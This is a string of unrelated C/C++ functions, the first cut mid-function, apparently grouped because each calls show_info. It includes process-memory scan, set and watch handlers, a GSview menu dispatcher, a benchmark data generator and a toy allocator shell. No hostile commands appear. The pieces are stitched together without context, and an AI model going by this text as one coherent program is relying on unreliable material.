(vars->target == 0) { goto retl; } /* user has specified an exact value of the variable to find */ if (vars->matches) { /* already know some matches */ if (checkmatches(vars, m, val) != true) { show_error("failed to search target address space.\n"); goto retl; } } else { /* initial search */ if (searchregions(vars, m, val) != true) { show_error("failed to search target address space.\n"); goto retl; } } /* check if we now know the only possible candidate */ if (vars->num_matches == 1) { show_info("match identified, use \"set\" to modify value.\n"); show_info("enter \"help\" for other commands.\n"); } ret = true; retl: if (array) free(array); return ret; }
/* gsview menu commands */ int gsview_command(int command) { switch (command) { case IDM_NEXTHOME: case IDM_NEXT: case IDM_NEXTSKIP: case IDM_REDISPLAY: case IDM_PREVHOME: case IDM_PREVSKIP: case IDM_PREV: case IDM_GOBACK: case IDM_GOFWD: case IDM_MAGPLUS: case IDM_MAGMINUS: case IDM_FITWIN: case IDM_ZOOM: case IDM_FULLSCREEN: /* These don't close the full screen window */ break; default: gsview_fullscreen_end(); } switch (command) { case IDM_FULLSCREEN: gsview_fullscreen(); return 0; case IDM_OPEN: if (pending.psfile) { play_sound(SOUND_BUSY); return 0; } gsview_display(); return 0; case IDM_LASTFILE1: case IDM_LASTFILE2: case IDM_LASTFILE3: case IDM_LASTFILE4: if (pending.psfile) { play_sound(SOUND_BUSY); return 0; } make_cwd(last_files[command-IDM_LASTFILE1]); gsview_displayfile(last_files[command-IDM_LASTFILE1]); return 0; case IDM_CLOSE: /* doesn't unload DLL */ /* close file */ if (gsdll.open && (gsdll.state != GS_UNINIT)) { PSFILE *tpsfile; if (pending.psfile) { play_sound(SOUND_BUSY); return 0; } tpsfile = (PSFILE *)malloc(sizeof(PSFILE)); if (tpsfile == NULL) return 0; memset((char *)tpsfile, 0, sizeof(PSFILE)); pending.psfile = tpsfile; pending.now = TRUE; if (psfile.name[0] && psfile.dsc==(CDSC *)NULL) pending.abort = TRUE; } else { /* DLL isn't loaded */ if (psfile.file) dfclose(); /* just to make sure */ psfile_free(&psfile); post_img_message(WM_GSTITLE, 0); info_wait(IDS_NOWAIT); } return 0; case IDM_CLOSE_DONE: if (selectname[0] != '\0') { /* pending IDM_SELECT */ PSFILE *tpsfile; tpsfile = gsview_openfile(selectname); if (tpsfile) { psfile = *tpsfile; free(tpsfile); } selectname[0] = '\0'; post_img_message(WM_GSTITLE, 0); info_wait(IDS_NOWAIT); } return 0; case IDM_NEXTHOME: #ifdef UNIX set_scroll(-1, 0); #else #ifdef _Windows PostMessage(hwnd_image ,WM_VSCROLL,SB_TOP,0L); #else WinPostMsg(hwnd_frame, WM_VSCROLL, MPFROMLONG(0), MPFROM2SHORT(0, SB_TOP)); #endif #endif /* fall thru */ case IDM_NEXT: if (not_open()) return 0; gs_page_skip(1); return 0; case IDM_NEXTSKIP: if (not_dsc()) return 0; if (order_is_special()) return 0; gs_page_skip(page_skip); return 0; case IDM_REDISPLAY: if (dfchanged()) { PSFILE *tpsfile; if (dfchanged() < 0) { gs_addmess("File has been deleted\n"); gsview_command(IDM_CLOSE); pending.unload = TRUE; pending.now = FALSE; return 0; } if (pending.psfile) tpsfile = pending.psfile; /* new file, old file deleted */ else tpsfile = gsview_openfile(psfile.name); if (tpsfile) { tpsfile->pagenum = psfile.pagenum; request_mutex(); pending.psfile = tpsfile; if ( gsdll.hmodule && (psfile.dsc==(CDSC *)NULL) && (gsdll.state != GS_IDLE) ) /* don't know where we are so close and reopen */ pending.abort = TRUE; pending.now = TRUE; release_mutex(); } } if (not_open()) return 0; if (psfile.dsc==(CDSC *)NULL) { /* don't know where we are so close and reopen */ if (gsdll.state != GS_IDLE) { if (!pending.psfile) { pending.psfile = (PSFILE *)malloc(sizeof(PSFILE)); if (pending.psfile) *pending.psfile = psfile; } pending.psfile->pagenum = pending.pagenum = 1; pending.abort = TRUE; pending.now = TRUE; } } else { pending.pagenum = -1; /* default page number is current page */ if (psfile.dsc->page_order == CDSC_SPECIAL) pending.pagenum = 1; /* restart */ } gsview_unzoom(); pending.now = TRUE; return 0; case IDM_PREVHOME: #ifdef UNIX set_scroll(-1, 0); #else #ifdef _Windows PostMessage(hwnd_image ,WM_VSCROLL,SB_TOP,0L); #else WinPostMsg(hwnd_frame, WM_VSCROLL, MPFROMLONG(0), MPFROM2SHORT(0, SB_TOP)); #endif #endif /* fall thru */ case IDM_PREV: if (not_dsc()) return 0; if (order_is_special()) return 0; gs_page_skip(-1); return 0; case IDM_PREVSKIP: if (not_dsc()) return 0; if (order_is_special()) return 0; gs_page_skip(-page_skip); return 0; case IDM_GOTO: if (not_dsc()) return 0; if (order_is_special()) return 0; if (psfile.dsc->page_count == 0) { gserror(IDS_NOPAGE, NULL, MB_ICONEXCLAMATION, SOUND_NONUMBER); return 0; } nHelpTopic = IDS_TOPICGOTO; { int pagenum; pagenum = psfile.pagenum; if (get_page(&pagenum, FALSE, FALSE)) { gsview_goto_page(pagenum); } } return 0; case IDM_GOBACK: if (not_dsc()) return 0; if (order_is_special()) return 0; history_back(); return 0; case IDM_GOFWD: if (not_open()) return 0; if (psfile.dsc == (CDSC *)NULL) gsview_command(IDM_NEXT); else history_forward(); return 0; case IDM_INFO: show_info(); return 0; case IDM_SELECT: if (pending.psfile) { play_sound(SOUND_BUSY); return 0; } gsview_select(); return 0; #ifndef VIEWONLY case IDM_PRINT: case IDM_PRINTTOFILE: case IDM_CONVERTFILE: if (psfile.name[0] == '\0') gsview_select(); if (gsdll.state == GS_BUSY) { play_sound(SOUND_BUSY); return 0; } if (dfreopen() != 0) return 0; if (command == IDM_PRINTTOFILE) option.print_to_file = TRUE; if (psfile.name[0] != '\0') gsview_print(command == IDM_CONVERTFILE); dfclose(); return 0; case IDM_SPOOL: gsview_spool((char *)NULL, (char *)NULL); return 0; case IDM_SAVEAS: if (gsdll.state == GS_BUSY) { play_sound(SOUND_BUSY); return 0; } if (psfile.name[0] == '\0') gsview_select(); if (psfile.name[0] != '\0') gsview_saveas(); return 0; case IDM_EXTRACT: if (gsdll.state == GS_BUSY) { play_sound(SOUND_BUSY); return 0; } if (psfile.name[0] == '\0') gsview_select(); if (order_is_special()) return 0; if (psfile.name[0] != '\0') gsview_extract(); return 0; case IDM_PSTOEDIT: if (gsdll.state == GS_BUSY) { play_sound(SOUND_BUSY); return 0; } if (psfile.name[0] == '\0') gsview_select(); (void)order_is_special(); /* warn, but allow it anyway */ if (dfreopen() != 0) return 0; if (psfile.name[0] != '\0') gsview_pstoedit(); dfclose(); return 0; case IDM_TEXTEXTRACT: if (psfile.name[0] == '\0') gsview_select(); if (psfile.name[0] != '\0') gsview_text_extract(); return 0; case IDM_TEXTEXTRACT_SLOW: gsview_text_extract_slow(); return 0; case IDM_TEXTFIND: gsview_text_find(); return 0; case IDM_TEXTFINDNEXT: gsview_text_findnext(); return 0; case IDM_COPYCLIP: copy_clipboard(); return 0; case IDM_PASTETO: paste_to_file(); return 0; case IDM_CONVERT: clip_convert(); return 0; case IDM_MEASURE: if (gsdll.state == GS_BUSY) { play_sound(SOUND_BUSY); return 0; } measure_show(); return 0; #endif /* !VIEWONLY */ case IDM_GSMESS: gs_showmess(); /* show messages from Ghostscript */ return 0; case IDM_EXIT: if (print_count) { /* Still busy printing. Warn user. */ TCHAR buf[MAXSTR]; load_string(IDS_BUSYPRINTING, buf, sizeof(buf)/sizeof(TCHAR)-1); if (message_box(buf, MB_OKCANCEL) != IDOK) return 0; } post_img_message(WM_CLOSE, 0); return 0; case IDM_CFG: /* Easy configure */ config_wizard(TRUE); return 0; case IDM_GSCOMMAND: /* Advanced configure */ if (install_gsdll() && gsdll.open) pending.unload = TRUE; return 0; case IDM_UNITPT: case IDM_UNITMM: case IDM_UNITINCH: gsview_unit(command); return 0; case IDM_UNITFINE: option.unitfine = !option.unitfine; check_menu_item(IDM_UNITMENU, IDM_UNITFINE, option.unitfine); return 0; case IDM_LANGMENU+1: case IDM_LANGMENU+2: case IDM_LANGMENU+3: case IDM_LANGMENU+4: case IDM_LANGMENU+5: case IDM_LANGMENU+6: case IDM_LANGMENU+7: case IDM_LANGMENU+8: case IDM_LANGMENU+9: case IDM_LANGMENU+10: case IDM_LANGMENU+11: case IDM_LANGMENU+12: case IDM_LANGMENU+13: case IDM_LANGMENU+14: case IDM_LANGMENU+15: case IDM_LANGMENU+16: case IDM_LANGMENU+17: case IDM_LANGMENU+18: case IDM_LANGMENU+19: gsview_language(command); return 0; case IDM_SAFER: option.safer = !option.safer; check_menu_item(IDM_OPTIONMENU, IDM_SAFER, option.safer); return 0; case IDM_SAVEDIR: option.save_dir = !option.save_dir; check_menu_item(IDM_OPTIONMENU, IDM_SAVEDIR, option.save_dir); return 0; case IDM_BUTTONSHOW: option.button_show = !option.button_show; check_menu_item(IDM_OPTIONMENU, IDM_BUTTONSHOW, option.button_show); show_buttons(); return 0; case IDM_FITPAGE: option.fit_page = !option.fit_page; check_menu_item(IDM_OPTIONMENU, IDM_FITPAGE, option.fit_page); /* should cause WM_SIZE message to be sent */ return 0; case IDM_PSTOTEXTDIS: case IDM_PSTOTEXTNORM: case IDM_PSTOTEXTCORK: check_menu_item(IDM_PSTOTEXTMENU, option.pstotext + IDM_PSTOTEXTMENU + 1, FALSE); option.pstotext = command - IDM_PSTOTEXTMENU - 1; check_menu_item(IDM_PSTOTEXTMENU, option.pstotext + IDM_PSTOTEXTMENU + 1, TRUE); return 0; case IDM_AUTOREDISPLAY: option.redisplay = !option.redisplay; check_menu_item(IDM_OPTIONMENU, IDM_AUTOREDISPLAY, option.redisplay); return 0; case IDM_EPSFCLIP: option.epsf_clip = !option.epsf_clip; check_menu_item(IDM_OPTIONMENU, IDM_EPSFCLIP, option.epsf_clip); gs_resize(); return 0; case IDM_EPSFWARN: option.epsf_warn = !option.epsf_warn; check_menu_item(IDM_OPTIONMENU, IDM_EPSFWARN, option.epsf_warn); return 0; case IDM_IGNOREDSC: option.ignore_dsc = !option.ignore_dsc; check_menu_item(IDM_OPTIONMENU, IDM_IGNOREDSC, option.ignore_dsc); if (psfile.name[0]) { if (option.redisplay) gsview_displayfile(psfile.name); else gsview_selectfile(psfile.name); } return 0; case IDM_SHOWBBOX: option.show_bbox = !option.show_bbox; check_menu_item(IDM_OPTIONMENU, IDM_SHOWBBOX, option.show_bbox); #ifdef UNIX gtk_widget_draw(img, NULL); #else #ifdef _Windows PostMessage(hwndimg, WM_GSSYNC, 0, 0L); #else if (!WinInvalidateRect(hwnd_bmp, (PRECTL)NULL, TRUE)) error_message("error invalidating rect"); if (!WinUpdateWindow(hwnd_bmp)) error_message("error updating window"); #endif #endif return 0; #ifndef VIEWONLY case IDM_PSTOEPS: if (not_open()) return 0; if (psfile.name[0] != '\0') { if (dfreopen() != 0) return 0; ps_to_eps(); dfclose(); } return 0; case IDM_MAKEEPSI: if ( (option.orientation == IDM_PORTRAIT) || (option.auto_orientation == TRUE) ) { char epsname[MAXSTR]; epsname[0] = '\0'; if (dfreopen() != 0) return 0; if (!get_filename(epsname, TRUE, FILTER_EPS, 0, IDS_TOPICPREVIEW)) { dfclose(); return 0; } image_lock(view.img); make_eps_interchange(FALSE, epsname); image_unlock(view.img); dfclose(); } else gserror(IDS_MUSTUSEPORTRAIT, 0, MB_ICONEXCLAMATION, 0); return 0; case IDM_MAKEEPST4: case IDM_MAKEEPST6U: case IDM_MAKEEPST6P: if ( (option.orientation == IDM_PORTRAIT) || (option.auto_orientation == TRUE) ) { char epsname[MAXSTR]; epsname[0] = '\0'; if (dfreopen() != 0) return 0; if (!get_filename(epsname, TRUE, FILTER_EPS, 0, IDS_TOPICPREVIEW)) { dfclose(); return 0; } image_lock(view.img); make_eps_tiff(command, FALSE, epsname); image_unlock(view.img); dfclose(); } else gserror(IDS_MUSTUSEPORTRAIT, 0, MB_ICONEXCLAMATION, 0); return 0; case IDM_MAKEEPSW: if ( (option.orientation == IDM_PORTRAIT) || (option.auto_orientation == TRUE) ) { char epsname[MAXSTR]; epsname[0] = '\0'; if (dfreopen() != 0) return 0; if (!get_filename(epsname, TRUE, FILTER_EPS, 0, IDS_TOPICPREVIEW)) { dfclose(); return 0; } image_lock(view.img); make_eps_metafile(FALSE, epsname); image_unlock(view.img); dfclose(); } else gserror(IDS_MUSTUSEPORTRAIT, 0, MB_ICONEXCLAMATION, 0); return 0; case IDM_MAKEEPSU: if (dfreopen() != 0) return 0; make_eps_user(); dfclose(); return 0; case IDM_EXTRACTPS: case IDM_EXTRACTPRE: if (dfreopen() != 0) return 0; extract_doseps(command); dfclose(); return 0; #endif case IDM_SETTINGS: write_profile(); return 0; case IDM_SAVESETTINGS: option.settings = !option.settings; check_menu_item(IDM_OPTIONMENU, IDM_SAVESETTINGS, option.settings); { char buf[MAXSTR]; PROFILE *prf = profile_open(szIniFile); sprintf(buf, "%d", (int)option.settings); profile_write_string(prf, INISECTION, "SaveSettings", buf); profile_close(prf); } return 0; case IDM_SOUNDS: change_sounds(); return 0; case IDM_AUTOORIENT: case IDM_PORTRAIT: case IDM_LANDSCAPE: case IDM_UPSIDEDOWN: case IDM_SEASCAPE: case IDM_SWAPLANDSCAPE: gsview_orientation(command); return 0; case IDM_DSC_OFF: case IDM_DSC_ERROR: case IDM_DSC_WARN: case IDM_DSC_INFO: check_menu_item(IDM_DSCMENU, option.dsc_warn, FALSE); option.dsc_warn = command; check_menu_item(IDM_DSCMENU, option.dsc_warn, TRUE); return 0; case IDM_ZOOM: /* called indirectly from Right Mouse Button */ if (not_dsc()) { zoom = FALSE; return 0; } if (order_is_special()) { zoom = FALSE; return 0; } if (! ((gsdll.state == GS_PAGE) || (gsdll.state == GS_IDLE)) ) { zoom = FALSE; gserror(IDS_NOZOOM, NULL, MB_ICONEXCLAMATION, SOUND_ERROR); return 0; } gs_resize(); pending.pagenum = -1; /* default page number is current page */ pending.now = TRUE; return 0; case IDM_MAGPLUS: gs_magnify((float)1.2); return 0; case IDM_MAGMINUS: gs_magnify((float)0.8333); return 0; case IDM_FITWIN: /* fit media to size of current window */ gsview_fitwin(); return 0; case IDM_DISPLAYSETTINGS: display_settings(); return 0; case IDM_MEDIAROTATE: option.media_rotate = !option.media_rotate; check_menu_item(IDM_MEDIAMENU, IDM_MEDIAROTATE, option.media_rotate); zoom = FALSE; gs_resize(); return 0; case IDM_11x17: case IDM_A3: case IDM_A4: case IDM_A5: case IDM_B4: case IDM_B5: case IDM_LEDGER: case IDM_LEGAL: case IDM_LETTER: case IDM_NOTE: case IDM_USERSIZE: case IDM_USERSIZE1: case IDM_USERSIZE2: case IDM_USERSIZE3: case IDM_USERSIZE4: case IDM_USERSIZE5: case IDM_USERSIZE6: case IDM_USERSIZE7: case IDM_USERSIZE8: case IDM_USERSIZE9: case IDM_USERSIZE10: case IDM_USERSIZE11: case IDM_USERSIZE12: case IDM_USERSIZE13: if (command == IDM_USERSIZE) if (!gsview_usersize()) return 0; gsview_media(command); return 0; case IDM_HELPCONTENT: #ifdef UNIX nHelpTopic = IDS_TOPICROOT; get_help(); #else #ifdef _Windows #ifdef USE_HTMLHELP nHelpTopic = IDS_TOPICROOT; get_help(); #else WinHelp(hwndimg,szHelpName,HELP_CONTENTS,(DWORD)NULL); #endif #else WinSendMsg(hwnd_help, HM_HELP_CONTENTS, 0L, 0L); #endif #endif return 0; case IDM_HELPSEARCH: #ifdef UNIX gs_addmess("IDM_HELPSEARCH: not implemented\n"); #else #ifdef _Windows #ifdef USE_HTMLHELP HtmlHelp(hwndimg,szHelpName,HH_DISPLAY_INDEX, (DWORD)TEXT("")); gs_addmessf("HtmlHelp: %s HH_DISPLAY_INDEX\n", szHelpName); #else WinHelp(hwndimg,szHelpName,HELP_PARTIALKEY,(DWORD)""); #endif #else WinSendMsg(hwnd_help, HM_HELP_INDEX, 0L, 0L); #endif #endif return 0; case IDM_HELPKEYS: nHelpTopic = IDS_TOPICKEYS; get_help(); return 0; case IDM_ABOUT: show_about(); return 0; case IDM_REGISTER: registration_nag(); return 0; } return 0; }
bool handler__set(globals_t * vars, char **argv, unsigned argc) { unsigned block, seconds = 1; char *delay = NULL; char *end; bool cont = false; struct setting { char *matchids; char *value; unsigned seconds; } *settings = NULL; assert(argc != 0); assert(argv != NULL); assert(vars != NULL); if (argc < 2) { show_error("expected an argument, type `help set` for details.\n"); return false; } /* supporting `set` for bytearray will cause annoying syntax problems... */ if ((vars->options.scan_data_type == BYTEARRAY) ||(vars->options.scan_data_type == STRING)) { show_error("`set` is not supported for bytearray or string, use `write` instead.\n"); return false; } /* check if there are any matches */ if (vars->num_matches == 0) { show_error("no matches are known.\n"); return false; } /* --- parse arguments into settings structs --- */ settings = calloca(argc - 1, sizeof(struct setting)); /* parse every block into a settings struct */ for (block = 0; block < argc - 1; block++) { /* first seperate the block into matches and value, which are separated by '=' */ if ((settings[block].value = strchr(argv[block + 1], '=')) == NULL) { /* no '=' found, whole string must be the value */ settings[block].value = argv[block + 1]; } else { /* there is a '=', value+1 points to value string. */ /* use strndupa() to copy the matchids into a new buffer */ settings[block].matchids = strndupa(argv[block + 1], (size_t) (settings[block].value++ - argv[block + 1])); } /* value points to the value string, possibly with a delay suffix */ /* matchids points to the match-ids (possibly multiple) or NULL */ /* now check for a delay suffix (meaning continuous mode), eg 0xff/10 */ if ((delay = strchr(settings[block].value, '/')) != NULL) { char *end = NULL; /* parse delay count */ settings[block].seconds = strtoul(delay + 1, &end, 10); if (*(delay + 1) == '\0') { /* empty delay count, eg: 12=32/ */ show_error("you specified an empty delay count, `%s`, see `help set`.\n", settings[block].value); return false; } else if (*end != '\0') { /* parse failed before end, probably trailing garbage, eg 34=9/16foo */ show_error("trailing garbage after delay count, `%s`.\n", settings[block].value); return false; } else if (settings[block].seconds == 0) { /* 10=24/0 disables continous mode */ show_info("you specified a zero delay, disabling continuous mode.\n"); } else { /* valid delay count seen and understood */ show_info("setting %s every %u seconds until interrupted...\n", settings[block].matchids ? settings[block]. matchids : "all", settings[block].seconds); /* continuous mode on */ cont = true; } /* remove any delay suffix from the value */ settings[block].value = strndupa(settings[block].value, (size_t) (delay - settings[block].value)); } /* if (strchr('/')) */ } /* for(block...) */ /* --- setup a longjmp to handle interrupt --- */ if (INTERRUPTABLE()) { /* control returns here when interrupted */ // settings is allocated with alloca, do not free it // free(settings); detach(vars->target); ENDINTERRUPTABLE(); return true; } /* --- execute the parsed setting structs --- */ while (true) { uservalue_t userval; /* for every settings struct */ for (block = 0; block < argc - 1; block++) { /* check if this block has anything to do this iteration */ if (seconds != 1) { /* not the first iteration (all blocks get executed first iteration) */ /* if settings.seconds is zero, then this block is only executed once */ /* if seconds % settings.seconds is zero, then this block must be executed */ if (settings[block].seconds == 0 || (seconds % settings[block].seconds) != 0) continue; } /* convert value */ if (!parse_uservalue_number(settings[block].value, &userval)) { show_error("bad number `%s` provided\n", settings[block].value); goto fail; } /* check if specific match(s) were specified */ if (settings[block].matchids != NULL) { char *id, *lmatches = NULL; unsigned num = 0; /* create local copy of the matchids for strtok() to modify */ lmatches = strdupa(settings[block].matchids); /* now seperate each match, spearated by commas */ while ((id = strtok(lmatches, ",")) != NULL) { match_location loc; /* set to NULL for strtok() */ lmatches = NULL; /* parse this id */ num = strtoul(id, &end, 0x00); /* check that succeeded */ if (*id == '\0' || *end != '\0') { show_error("could not parse match id `%s`\n", id); goto fail; } /* check this is a valid match-id */ loc = nth_match(vars->matches, num); if (loc.swath) { value_t v; value_t old; void *address = remote_address_of_nth_element(loc.swath, loc.index /* ,MATCHES_AND_VALUES */); /* copy val onto v */ /* XXX: valcmp? make sure the sizes match */ old = data_to_val(loc.swath, loc.index /* ,MATCHES_AND_VALUES */); zero_value(&v); v.flags = old.flags = loc.swath->data[loc.index].match_info; uservalue2value(&v, &userval); show_info("setting *%p to %#"PRIx64"...\n", address, v.int64_value); /* set the value specified */ fix_endianness(vars, &v); if (setaddr(vars->target, address, &v) == false) { show_error("failed to set a value.\n"); goto fail; } } else { /* match-id > than number of matches */ show_error("found an invalid match-id `%s`\n", id); goto fail; } } } else { matches_and_old_values_swath *reading_swath_index = (matches_and_old_values_swath *)vars->matches->swaths; int reading_iterator = 0; /* user wants to set all matches */ while (reading_swath_index->first_byte_in_child) { /* Only actual matches are considered */ if (flags_to_max_width_in_bytes(reading_swath_index->data[reading_iterator].match_info) > 0) { void *address = remote_address_of_nth_element(reading_swath_index, reading_iterator /* ,MATCHES_AND_VALUES */); /* XXX: as above : make sure the sizes match */ value_t old = data_to_val(reading_swath_index, reading_iterator /* ,MATCHES_AND_VALUES */); value_t v; zero_value(&v); v.flags = old.flags = reading_swath_index->data[reading_iterator].match_info; uservalue2value(&v, &userval); show_info("setting *%p to %#"PRIx64"...\n", address, v.int64_value); fix_endianness(vars, &v); if (setaddr(vars->target, address, &v) == false) { show_error("failed to set a value.\n"); goto fail; } } /* Go on to the next one... */ ++reading_iterator; if (reading_iterator >= reading_swath_index->number_of_bytes) { reading_swath_index = local_address_beyond_last_element(reading_swath_index /* ,MATCHES_AND_VALUES */); reading_iterator = 0; } } } /* if (matchid != NULL) else ... */ } /* for(block) */ if (cont) { sleep(1); } else { break; } seconds++; } /* while(true) */ ENDINTERRUPTABLE(); return true; fail: ENDINTERRUPTABLE(); return false; }
/* the name of the function is for history reason, now GREATERTHAN & LESSTHAN are also handled by this function */ bool handler__decinc(globals_t * vars, char **argv, unsigned argc) { uservalue_t val; scan_match_type_t m; USEPARAMS(); if (argc == 1) { zero_uservalue(&val); } else if (argc > 2) { show_error("too many values specified, see `help %s`", argv[0]); return false; } else { if (!parse_uservalue_number(argv[1], &val)) { show_error("bad value specified, see `help %s`", argv[0]); return false; } } if (strcmp(argv[0], "=") == 0) { m = MATCHNOTCHANGED; } else if (strcmp(argv[0], "!=") == 0) { m = (argc == 1) ? MATCHCHANGED : MATCHNOTEQUALTO; } else if (strcmp(argv[0], "<") == 0) { m = (argc == 1) ? MATCHDECREASED : MATCHLESSTHAN; } else if (strcmp(argv[0], ">") == 0) { m = (argc == 1) ? MATCHINCREASED : MATCHGREATERTHAN; } else if (strcmp(argv[0], "+") == 0) { m = (argc == 1) ? MATCHINCREASED : MATCHINCREASEDBY; } else if (strcmp(argv[0], "-") == 0) { m = (argc == 1) ? MATCHDECREASED : MATCHDECREASEDBY; } else { show_error("unrecogised match type seen at decinc handler.\n"); return false; } if (vars->matches) { if (checkmatches(vars, m, &val) == false) { show_error("failed to search target address space.\n"); return false; } } else { /* < > = != cannot be the initial scan */ if (argc == 1) { show_error("cannot use that search without matches\n"); return false; } else { if (searchregions(vars, m, &val) != true) { show_error("failed to search target address space.\n"); return false; } } } if (vars->num_matches == 1) { show_info("match identified, use \"set\" to modify value.\n"); show_info("enter \"help\" for other commands.\n"); } return true; }
bool handler__watch(globals_t * vars, char **argv, unsigned argc) { value_t o, n; unsigned id; char *end = NULL, buf[128], timestamp[64]; time_t t; match_location loc; value_t old_val; void *address; scan_data_type_t data_type = vars->options.scan_data_type; if (argc != 2) { show_error("was expecting one argument, see `help watch`.\n"); return false; } if ((data_type == BYTEARRAY) || (data_type == STRING)) { show_error("`watch` is not supported for bytearray or string.\n"); return false; } /* parse argument */ id = strtoul(argv[1], &end, 0x00); /* check that strtoul() worked */ if (argv[1][0] == '\0' || *end != '\0') { show_error("sorry, couldn't parse `%s`, try `help watch`\n", argv[1]); return false; } loc = nth_match(vars->matches, id); /* check this is a valid match-id */ if (!loc.swath) { show_error("you specified a non-existent match `%u`.\n", id); show_info("use \"list\" to list matches, or \"help\" for other commands.\n"); return false; } address = remote_address_of_nth_element(loc.swath, loc.index /* ,MATCHES_AND_VALUES */); old_val = data_to_val(loc.swath, loc.index /* ,MATCHES_AND_VALUES */); old_val.flags = loc.swath->data[loc.index].match_info; valcpy(&o, &old_val); valcpy(&n, &o); valtostr(&o, buf, sizeof(buf)); if (INTERRUPTABLE()) { (void) detach(vars->target); ENDINTERRUPTABLE(); return true; } /* every entry is timestamped */ t = time(NULL); strftime(timestamp, sizeof(timestamp), "[%T]", localtime(&t)); show_info("%s monitoring %10p for changes until interrupted...\n", timestamp, address); while (true) { if (attach(vars->target) == false) return false; if (peekdata(vars->target, address, &n) == false) return false; truncval(&n, &old_val); /* check if the new value is different */ match_flags tmpflags; zero_match_flags(&tmpflags); scan_routine_t valuecmp_routine = (get_scanroutine(ANYNUMBER, MATCHCHANGED)); if (valuecmp_routine(&o, &n, NULL, &tmpflags, address)) { valcpy(&o, &n); truncval(&o, &old_val); valtostr(&o, buf, sizeof(buf)); /* fetch new timestamp */ t = time(NULL); strftime(timestamp, sizeof(timestamp), "[%T]", localtime(&t)); show_info("%s %10p -> %s\n", timestamp, address, buf); } /* detach after valuecmp_routine, since it may read more data (e.g. bytearray) */ detach(vars->target); (void) sleep(1); } }
void generate_random_tuples() { debug("Generating " << input::NUM_TUPLES / TUPLES_DIVIDER << " random tuples."); output::start_timer("run/top_k_column_db_tf_in_documents_generate_random"); if (TUPLES_DIVIDER > 1) { show_info("Running benchmark with " << input::NUM_TUPLES/TUPLES_DIVIDER << " instead of " << input::NUM_TUPLES << " tuples."); } c_term = new unsigned short[input::NUM_TUPLES/TUPLES_DIVIDER]; debug("c_term alloc success"); c_doc = new unsigned int[input::NUM_TUPLES/TUPLES_DIVIDER]; debug("c_doc alloc success"); c_freq = new unsigned char[input::NUM_TUPLES/TUPLES_DIVIDER]; debug("c_freq alloc success"); // offsets define where cluster of same items begins term_offsets = new long[input::T_PM + 1]; for (DOMAIN_TYPE i = 0; i < input::T_PM + 1; ++i) term_offsets[i] = 20000000000L; doc_offsets = new long[input::D_PM + 1]; for (DOMAIN_TYPE i = 0; i < input::D_PM + 1; ++i) doc_offsets[i] = 200000000000L; int next_index = 0; for (long term = 0; term < input::T_PM; ++term) { long times = MAX(1, pubmed::get_group_by_term(term) / TUPLES_DIVIDER); term_offsets[term] = next_index; for (int i = 0; i < times; ++i) { if (next_index < input::NUM_TUPLES / TUPLES_DIVIDER) { c_freq[next_index] = rand() % input::b_MAX_FREQUENCY; c_term[next_index++] = term; } } } if (sorted_by_term == S_UNOPTIMIZED) { shuffle(c_term, c_term + input::NUM_TUPLES / TUPLES_DIVIDER, default_random_engine(42)); } debug("Done generating terms and frequencies."); next_index = 0; for (long doc = 0; doc < input::D_PM; ++doc) { long times = MAX(1, pubmed::get_group_by_doc(doc) / TUPLES_DIVIDER); doc_offsets[doc] = next_index; for (int i = 0; i < times; ++i) { if (next_index < input::NUM_TUPLES / TUPLES_DIVIDER) { c_doc[next_index++] = doc; } } } if (sorted_by_doc == S_UNOPTIMIZED) { shuffle(c_doc, c_doc + input::NUM_TUPLES / TUPLES_DIVIDER, default_random_engine(42)); } debug("Done generating documents."); output::stop_timer("run/top_k_column_db_tf_in_documents_generate_random"); }
int main() { void * buffer; size_t buffer_size; char** commandlist; size_t commandsnum; char commandbuf[MAXARGSLEN+1]; printf("Hello! Please input buffer size:\n > "); if(scanf("%zu", &buffer_size) != 1) { printf("Wrong buffer size! Sorry, good bye.\n"); return 1; } buffer = init_buffer(buffer_size); if (buffer == NULL) { printf("Cannot allocate buffer with size %zu B (too small or too big)\n", buffer_size); return 1; } printf("Type 'exit' for quit or type 'help' to know how to use.\n"); while(1) { if (fgets(commandbuf, MAXARGSLEN+1, stdin) && strlen(commandbuf) > 1) { commandlist = split_str(commandbuf, &commandsnum); if (commandsnum > 0) { if(strcmp(commandlist[0], "help") == 0) { show_help(); } else if (strcmp(commandlist[0], "ALLOC") == 0 || strcmp(commandlist[0], "alloc") == 0 ) { if (commandsnum != 2) { printf("Error: ALLOC must have the one positive integer argument.\n"); free_commandlist(commandlist, commandsnum); continue; } long alloc_size = atol(commandlist[1]); if (alloc_size <= 0) { printf("Error: ALLOC argument must be positive integer.\n"); free_commandlist(commandlist, commandsnum); continue; } size_t res = my_alloc(buffer, (size_t)alloc_size); if ( res == 0 ) { printf("-\n"); continue; } printf("+ %zu\n", res); } else if (strcmp(commandlist[0], "FREE") == 0 || strcmp(commandlist[0], "free") == 0 ) { if (commandsnum != 2) { printf("Error: FREE must have the one positive integer argument.\n"); free_commandlist(commandlist, commandsnum); continue; } long free_address = atol(commandlist[1]); if (free_address <= 0) { printf("Error: FREE argument must be positive integer.\n"); free_commandlist(commandlist, commandsnum); continue; } if (my_free(buffer, (size_t)free_address) == 0) printf("+\n"); else printf("-\n"); } else if (strcmp(commandlist[0], "INFO") == 0 || strcmp(commandlist[0], "info") == 0 ) { show_info(buffer, buffer_size); } else if (strcmp(commandlist[0], "MAP") == 0 || strcmp(commandlist[0], "map") == 0 ) { show_map(buffer, buffer_size); } else if (strcmp(commandlist[0], "EXIT") == 0 || strcmp(commandlist[0], "exit") == 0 ) { printf("Thank you for using this allocator! Good bye.\n"); break; } else { printf("Unknown command: %s\n", commandlist[0]); } } free_commandlist(commandlist, commandsnum); } printf(" > "); } free(buffer); return 0; }
